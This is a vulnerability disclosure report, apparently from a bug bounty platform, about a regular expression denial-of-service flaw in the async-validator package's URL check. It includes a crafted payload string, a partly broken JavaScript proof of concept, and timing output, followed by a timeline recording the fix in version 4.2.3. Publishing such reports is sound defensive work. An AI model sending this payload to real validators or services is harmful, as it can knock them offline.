Inefficient Regular Expression Complexity potentially leads to Denial of Service in yiminghe/async-validator


Reported on

Jun 16th 2022


Inefficient Regular Expression Complexity of url regex could lead to a denial of service attack.

This report bypasses the fix in issue #300 by a well-formed payload '//a.b' + 'c1'.repeat(i) + 'a'. With only 36 characters payload could take 18672 ms time execution.

Proof of Concept

// PoC.js
var asyncValidator = require("async-validator")

const validator = new asyncValidator.default({
    v: {
        type: 'url',

for (var i = 1; i <= 1000; i++) {
    var time =;
    var attack_str = '//a.b' + 'c1'.repeat(i) + 'a'
        v: attack_str,
    var time_cost = - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms")


attack_str.length: 18: 0 ms
attack_str.length: 20: 1 ms
attack_str.length: 22: 1 ms
attack_str.length: 24: 6 ms
attack_str.length: 26: 20 ms
attack_str.length: 28: 82 ms
attack_str.length: 30: 283 ms
attack_str.length: 32: 1138 ms
attack_str.length: 34: 4938 ms
attack_str.length: 36: 18672 ms


Potentially causes a denial of service attack


We are processing your report and will contact the yiminghe/async-validator team within 24 hours. a year ago
A GitHub Issue asking the maintainers to create a exists a year ago
Khang Vo (doublevkay) modified the report
a year ago
We have contacted a member of the yiminghe/async-validator team and are waiting to hear back a year ago
yiminghe validated this vulnerability a year ago
Khang Vo (doublevkay) has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
yiminghe marked this as fixed in 4.2.3 with commit 51c6b0 a year ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
type.ts#L11 has been validated
to join this conversation